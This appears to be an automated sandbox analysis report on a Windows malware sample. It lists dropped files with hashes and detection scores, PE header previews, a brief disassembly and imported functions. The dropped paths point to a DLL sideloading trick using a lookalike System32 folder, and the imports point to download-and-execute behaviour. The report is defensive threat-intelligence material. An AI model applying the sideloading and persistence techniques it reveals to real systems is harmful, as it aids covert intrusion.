C:\Windows\System32\libssl-3-x64.dll

Download File

Process:	C:\Windows \System32\printui.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	818176
Entropy (8bit):	6.269258421632734
Encrypted:	false
SSDEEP:	12288:NGbc08emtUas2F158w1T4qLgl85MNRlqnZ5ydEVB3i:NGoL9W0lJ5cR9dEVB3
MD5:	69D0FEE0CC47C3B255C317F08CE8D274
SHA1:	782BC8F64B47A9DCEDC95895154DCA60346F5DD7
SHA-256:	BA979C2DBFB35D205D9D28D97D177F33D501D954C7187330F6893BB7D0858713
SHA-512:	4955252C7220810ED2EACA002E57D25FBC17862F4878983C4351C917CF7873EB84AE00E5651583004F15A08789BE64BDB34FF20CB0E172C9C1376706DEB4AA1A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......5...q..q..q..x.'.c...O..s...O..\|...O..y...O..u..:...u...L..r..q..*...L......L..p...LK.p...L..p..Richq..................PE..d...d.Lf.........." ...'..................................................................`..........................................0...K...{..................Hr..............\.......T...............................@............................................text...X........................... ..`.rdata..L...........................@..@.data...8=.......8..................@....pdata..Hr.......t..................@..@.rsrc................`..............@..@.reloc..\............d..............@..B........................................................................................................................................................................................................................................

C:\Windows\System32\libwinpthread-1.dll

Download File

Process:	C:\Windows \System32\printui.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	52736
Entropy (8bit):	5.840253326728635
Encrypted:	false
SSDEEP:	768:fE20UsQSmxsJ/jPxsiFFnoCImovqcyz88rtYNChvThLaim3Yu/g/D8:cis0sP5FBQ7vU9BYshtaim3Yuo78
MD5:	9DC829C2C8962347BC9ADF891C51AC05
SHA1:	BF9251A7165BB2981E613AC5D9051F19EDB68463
SHA-256:	FFE2D56375BB4E8BDEE9037DF6BEFC5016DDD8871D0D85027314DD5792F8FDC9
SHA-512:	FD7E6F50A21CB59075DFA08C5E6275FD20723B01A23C3E24FB369F2D95A379B5AC6AE9F509AA42861D9C5114BE47CCE9FF886F0A03758BFDC3A2A9C4D75FAB56
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d..................".....\|.....................d.............................P................ ......................................................0..P....................@..h........................... ..(....................................................text...({.......\|..................`.P`.data...............................@.P..rdata..............................@.P@.pdata..............................@.0@.xdata..............................@.0@.bss..................................p..edata..............................@.0@.idata..............................@.0..CRT....`...........................@.@..tls....h.... ......................@.`..rsrc...P....0......................@.0..reloc..h....@......................@.0B................................................................................................................................

C:\Windows\System32\ucrtbased.dll

Download File

Process:	C:\Windows \System32\printui.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1786880
Entropy (8bit):	6.056894707447503
Encrypted:	false
SSDEEP:	24576:JUV0C8E3W4JoceLErS6P0qoc6uoPrT5PgVBHmaw+zrGOzli7Gi0m9ZRXyYk:i8/B90ozghlGJ7js
MD5:	C3130CFB00549A5A92DA60E7F79F5FC9
SHA1:	56C2E8FB1AF609525B0F732BB67B806BDDAB3752
SHA-256:	EEE42EABC546E5AA760F8DF7105FCF505ABFFCB9EC4BF54398436303E407A3F8
SHA-512:	29BAB5B441484BDFAC9EC21CD4F0F7454AF05BFD7D77F7D4662AEAEAA0D3E25439D52AA341958E7896701546B4A607D3C7A32715386C78B746DFAE8529A70748
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'.S.c.=.c.=.c.=.j...P.=.c.<...=..}.b.=..}.S.=..}.'.=..}...=..}.u.=..}.b.=..}.b.=.Richc.=.........PE..d...~.!U.........." .................................................................g....`A........................................p........C..................x................... ...............................`...................H............................text............................... ..`.rdata...x.......z..................@..@.data...(Z...`...$...J..............@....pdata..x............n..............@..@.rsrc................2..............@..@.reloc...............8..............@..B........................................................................................................................................................................................................................................................................

C:\Windows\System32\usvcinsta64.exe

Download File

Process:	C:\Users\user\Desktop\pyld64.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14693888
Entropy (8bit):	6.554170789313033
Encrypted:	false
SSDEEP:	393216:3PsdXtBcda7nzo7Vd7Qv1CPwDvt3uFRCvfxlXnwXAaGueVW3XSdEVB3:3ITkS6
MD5:	11DDC0A34BAC7AB099D2EE8D9817BF58
SHA1:	C9BD99F91118FCA4E1BFDEBC36CDED5B09BE39D0
SHA-256:	0C396F737C1DECD395926CB52CC9F3D2AD1A3EEE5290DB62197CF617F2F0E554
SHA-512:	62A0FF1412B3E28053FE2888D088C63B21BC07BD922C6286CAAF94FABAAC9FB5CABF91668CBEEE88E71B5B48F27613CBCCA63272A2AB604FCED69DA776567E49
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 58%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........B...,...,...,.L).F.,.L(...,.L/...,..I/...,..I(...,..I)..,.L-...,...-.}.,.H%...,.H....,.H....,.Rich..,.........................PE..d....C.f.........."....).(...".................@..........................................`.....................................................P....p.......0..<-..................`...8........................... ...@............@..`............................text....&.......(.................. ..`.rdata..>....@.......,..............@..@.data...h,..........................@....pdata..<-...0......................@..@.fptable.....`.......(..............@....rsrc........p.......*..............@..@.reloc...............,..............@..B................................................................................................................................................................................................

C:\Windows\System32\vcruntime140d.dll

Download File

Process:	C:\Windows \System32\printui.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	131920
Entropy (8bit):	6.0574531251583865
Encrypted:	false
SSDEEP:	1536:QB6NlnzaWMj6FBknM+eHLEQE9gHAWdwfP5sd4Sohg7vMHvqZecb399R0BqZEBFP:QBYl5MOcM1HAb1wM0ecb39/0BqZEjP
MD5:	F57FB935A9A76E151229F547C2204BBA
SHA1:	4021B804469816C3136B40C4CEB44C8D60ED15F5
SHA-256:	A77277AF540D411AE33D371CC6F54D7B0A1937E0C14DB7666D32C22FC5DCA9C0
SHA-512:	CD9FC3FC460EBA6A1B9F984B794940D28705ECB738DF8595C2341ABE4347141DB14A9FF637C9F902E8742F5C48BBB61DA7D5E231CC5B2BAD2E8746C5A3E3E6ED
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........].AB<..B<..B<....h.@<....L.A<..B<..l<..yb..I<..yb..V<..yb..Z<..yb..C<..yb\.C<..yb..C<..RichB<..................PE..d....LZW.........." .....j...\......pg....................................... ...........`A...........................................4.......<.......................P?......t...p...T...........................................................................text....h.......j.................. ..`.rdata..F5.......6...n..............@..@.data...............................@....pdata..............................@..@_RDATA..............................@..@.rsrc...............................@..@.reloc..t...........................@..B........................................................................................................................................................................................................................

C:\Windows\System32\winsvcf\winlogsvc

Download File

Process:	C:\Windows \System32\printui.exe
File Type:	data
Category:	dropped
Size (bytes):	384
Entropy (8bit):	7.449702240473978
Encrypted:	false
SSDEEP:	6:a1yzGK019rYhVXAsui2cxoOFO79eNtId8qXjo+4M8Oa14BwBRA20GG8sArNS0rwM:qm4BYhVXAst2cx7OxeM5Uww4BN/T8h0U
MD5:	E4DBF14B398816BA31D6CF9A3467D7FE
SHA1:	FCFE763F220BEC9100333F544362E8B32F17E6FF
SHA-256:	6B7E165E5D28731F30D76CBD5397701E4C49E75D037D88EF1DE2467BE64296E1
SHA-512:	170B9B0821931DF6C6060BE9F954F31301ED1C14A34093FD1F7B7DC7AE2D6CA22978D1F102B4FB1F1232CD2F5DCF90F6EA5E7CC221FF854B312615EFD6907604
Malicious:	false
Preview:	.....S.N....A....N...-.p...Hbx.Q...Q.=L.4#V.s...N..)...+c...._.;.j;....+.q....4.S..c.\.X.. .$.ba.t...x.-3..M..a..+.A...#.........Pq9..i..ET.B..A..PP...p-...Y,.9"./oc.\|\.H&..<{..5..c^..K..#...../..'a.S....[.....hZ.........3....{.].\;a}.n...t...'.=_!.A.....?.=Kq....g.....S....F..N._...>..MZ.,3.R.R..Hv...Ie.x.c.G7'..4.{._...".....O.Ab+.iT.....1..l.$...7..PjP.. ....

C:\Windows\System32\x543664.dat

Download File

Process:	C:\Windows \System32\printui.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2256384
Entropy (8bit):	6.5528122196655545
Encrypted:	false
SSDEEP:	24576:IIVkvsArhlpgxVnHkVnya+h0lhSMXlMDXg87/iXAah0lhSMXlDT/Z6Po7al9Nbtw:IMkkA1EHGnLag8TL3J6P7FGcjq
MD5:	E4BD51C06CFF7A34FCCC4576AF852AFE
SHA1:	D503AAFF2986C8F714D0FA457125BE566B6A9F95
SHA-256:	FFAC21DD5AE0E22A1DC423361ECBFE5D73F2F11DB5A1F6906B03B2A0A2B6612C
SHA-512:	5B2C69254F2EC25B2467983AE5C965F7860C4BDF8470E97594E6A0353CCC8E682B81815132FD38CE8B7F8F23FA013DA10C06C003C4B983A054651CC93A42324E
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......}.%.9dK.9dK.9dK.I.N..dK.I.H.0dK.).O.6dK.,.J.;dK.I.O.!dK.).H.2dK.).N..dK.V.J.;dK.I.J.4dK.9dJ.3eK.q.B.(dK.q.K.8dK.q.8dK.q.I.8dK.Rich9dK.........................PE..d...!?.f.........." ...)............4........................................."...........`..........................................}!.P....}!......."...... ".<.............".l...0...8.......................(.......@............0...............................text...d........................... ..`.rdata..f`...0...b... ..............@..@.data...4}....!..J....!.............@....pdata..<.... ".......!.............@..@.fptable......"......R".............@....rsrc........."......T".............@..@.reloc..l....."......V".............@..B........................................................................................................................................................................

C:\Windows\System32\zlib1.dll

Download File

Process:	C:\Windows \System32\printui.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	90624
Entropy (8bit):	6.511410074418791
Encrypted:	false
SSDEEP:	1536:EarCl5V5lEwda1RnSbFfbpYwayRyivl9bEKIOcIOZgyZ6rM3SIryPoIKr:EKcV5lEwUbShbpbaCpvsYSZgU6A3SIrf
MD5:	BB78414FB31B53EF8FAD8AFBEDBB834C
SHA1:	2CA62ED9A628E17887C0C9E5C07A2CC44B926EF8
SHA-256:	AE8951AD96124A39B63610D7A5A53B446FC7F19151AC1D8E5AC15E8C88227EBF
SHA-512:	9244CDF4EB86AE4071A74D584D170AC3D8F414F13EF3E9E8988C49B3488DC6FA1BB4DBB771635F145AE06484421C1101D120F63D34F3C479CD5F1FF9AAA646AF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...................[...a!....a!5...a!....a!....a!..............&....&....&7..._...&....Rich............................PE..d....,Of.........." ...(..................................................................`..........................................O......`W..........P....p..X...............l....>..T...........................`=..@...............x............................text............................... ..`.rdata...m.......n..................@..@.data........`.......L..............@....pdata..X....p.......N..............@..@.rsrc...P............Z..............@..@.reloc..l............`..............@..B........................................................................................................................................................................................................................

C:\Windows\Temp\__PSScriptPolicyTest_44fvwntl.dvj.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_4el3tmf1.qc1.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_5wtfplpa.hbs.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_e5f35y5i.j5v.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_eeaqxq5x.fwj.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_qujsrayc.yes.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_rwn2e4la.etw.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_smx3rhl5.o3z.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_uhzxxdg2.vjx.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_wuld1u0t.xfo.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_y03xypri.s4c.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_yfv11nu1.h2y.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	6.569534497252625
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Ld0f3NDosJ.exe
File size:	440'832 bytes
MD5:	00948444f3e248047722667419d54205
SHA1:	ca291799966f2a1d8ec8cdab92daa6883bddac9e
SHA256:	c97c029e6368bf6502e9c9c9ee0fc079c61da9e79c3798e8a246d19446b5afa8
SHA512:	2c46a486fa26ed2c7da61309fd89acdee68c68d6b82f3f55f63c27d66737eba34a9ad4b7d62c27e8d4e40634ca9679ad13e1cb612ddfc3627c1b66657d7b4e3c
SSDEEP:	6144:BQPNCRpJ2L+WVeE+KLKeR21lgp+A1ph0lhSMXlBXBWnd0oEsW5xW:TXaUgLTM1i+A1ph0lhSMXlid0oRoxW
TLSH:	57949D1673E884F8E1A6C27888960A06E77378150751EBDF03ACD6762F636D15E3EF11
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............n\..n\..n\.xk]..n\.xj]..n\.xm]..n\.}m]..n\.}j]..n\.}k]..n\.xo]..n\..o\7.n\.\|g]..n\.\|.\..n\.\|l]..n\Rich..n\...............

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x14001adb8
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x66C17707 [Sun Aug 18 04:22:31 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	033434673f6efe9e2891aa40ad6d0718

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F1270ED1268h
dec eax
add esp, 28h
jmp 00007F1270ED07AFh
int3
int3
dec eax
sub esp, 28h
dec ebp
mov eax, dword ptr [ecx+38h]
dec eax
mov ecx, edx
dec ecx
mov edx, ecx
call 00007F1270ED0942h
mov eax, 00000001h
dec eax
add esp, 28h
ret
int3
int3
int3
inc eax
push ebx
inc ebp
mov ebx, dword ptr [eax]
dec eax
mov ebx, edx
inc ecx
and ebx, FFFFFFF8h
dec esp
mov ecx, ecx
inc ecx
test byte ptr [eax], 00000004h
dec esp
mov edx, ecx
je 00007F1270ED0945h
inc ecx
mov eax, dword ptr [eax+08h]
dec ebp
arpl word ptr [eax+04h], dx
neg eax
dec esp
add edx, ecx
dec eax
arpl ax, cx
dec esp
and edx, ecx
dec ecx
arpl bx, ax
dec edx
mov edx, dword ptr [eax+edx]
dec eax
mov eax, dword ptr [ebx+10h]
mov ecx, dword ptr [eax+08h]
dec eax
mov eax, dword ptr [ebx+08h]
test byte ptr [ecx+eax+03h], 0000000Fh
je 00007F1270ED093Dh
movzx eax, byte ptr [ecx+eax+03h]
and eax, FFFFFFF0h
dec esp
add ecx, eax
dec esp
xor ecx, edx
dec ecx
mov ecx, ecx
pop ebx
jmp 00007F1270ED05AEh
int3
dec eax
mov dword ptr [esp+10h], ebx
dec eax
mov dword ptr [esp+18h], esi
push ebp
push edi
inc ecx
push esi
dec eax
mov ebp, esp
dec eax
sub esp, 10h
xor eax, eax
xor ecx, ecx
cpuid
inc esp
mov eax, ecx
inc esp
mov edx, edx
inc ecx
xor edx, 49656E69h
inc ecx
xor eax, 6C65746Eh
inc esp
mov ecx, ebx
inc esp
mov esi, eax
xor ecx, ecx

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x66e0c	0x64	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x6f000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x6b000	0x2ea4	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x70000	0x9d8	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x60f10	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x60dd0	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x36000	0x390	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x34384	0x34400	44e26ba7e96be6edb16cae0cabdf4ba5	False	0.517835115131579	data	6.457466429077762	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x36000	0x31a5e	0x31c00	c5127ad2fae8ee2d35643d7b83dffa15	False	0.4164867305276382	data	6.268329302694746	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x68000	0x2da8	0x1800	d3983c22e13b30ca36bcc5ce8b390911	False	0.18603515625	DOS executable (block device driver)	3.2050803665603405	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x6b000	0x2ea4	0x3000	8bc35622f15dac12037386bcfa847059	False	0.4722493489583333	data	5.465467733948664	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.fptable	0x6e000	0x100	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x6f000	0x1e0	0x200	9eb749b94f12b10c4656fbdd74aa9142	False	0.53125	data	4.7176788329467545	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x70000	0x9d8	0xa00	0c5bf3474ebb54c7ebd5d121fe855905	False	0.526171875	data	5.382944096935259	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x6f060	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
WTSAPI32.dll	WTSQueryUserToken
urlmon.dll	URLDownloadToFileW
KERNEL32.dll	GetSystemDirectoryW, CloseHandle, WTSGetActiveConsoleSessionId, WaitForSingleObject, GetModuleFileNameW, MultiByteToWideChar, GetCurrentDirectoryW, GetProcessHeap, HeapSize, WriteConsoleW, SetEndOfFile, CreateProcessW, CreateDirectoryW, CreateFileW, FindClose, FindFirstFileW, FindFirstFileExW, FindNextFileW, GetFileAttributesExW, GetFileInformationByHandle, SetFileInformationByHandle, AreFileApisANSI, GetLastError, DeviceIoControl, GetModuleHandleW, GetProcAddress, CopyFileW, GetFileInformationByHandleEx, CreateSymbolicLinkW, WideCharToMultiByte, LocalFree, FormatMessageA, GetLocaleInfoEx, QueryPerformanceCounter, QueryPerformanceFrequency, Sleep, GetCurrentThreadId, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionEx, DeleteCriticalSection, EncodePointer, DecodePointer, LCMapStringEx, GetSystemTimeAsFileTime, RtlUnwind, GetStringTypeW, GetCPInfo, RtlCaptureContext, RtlLookupFunctionEntry, 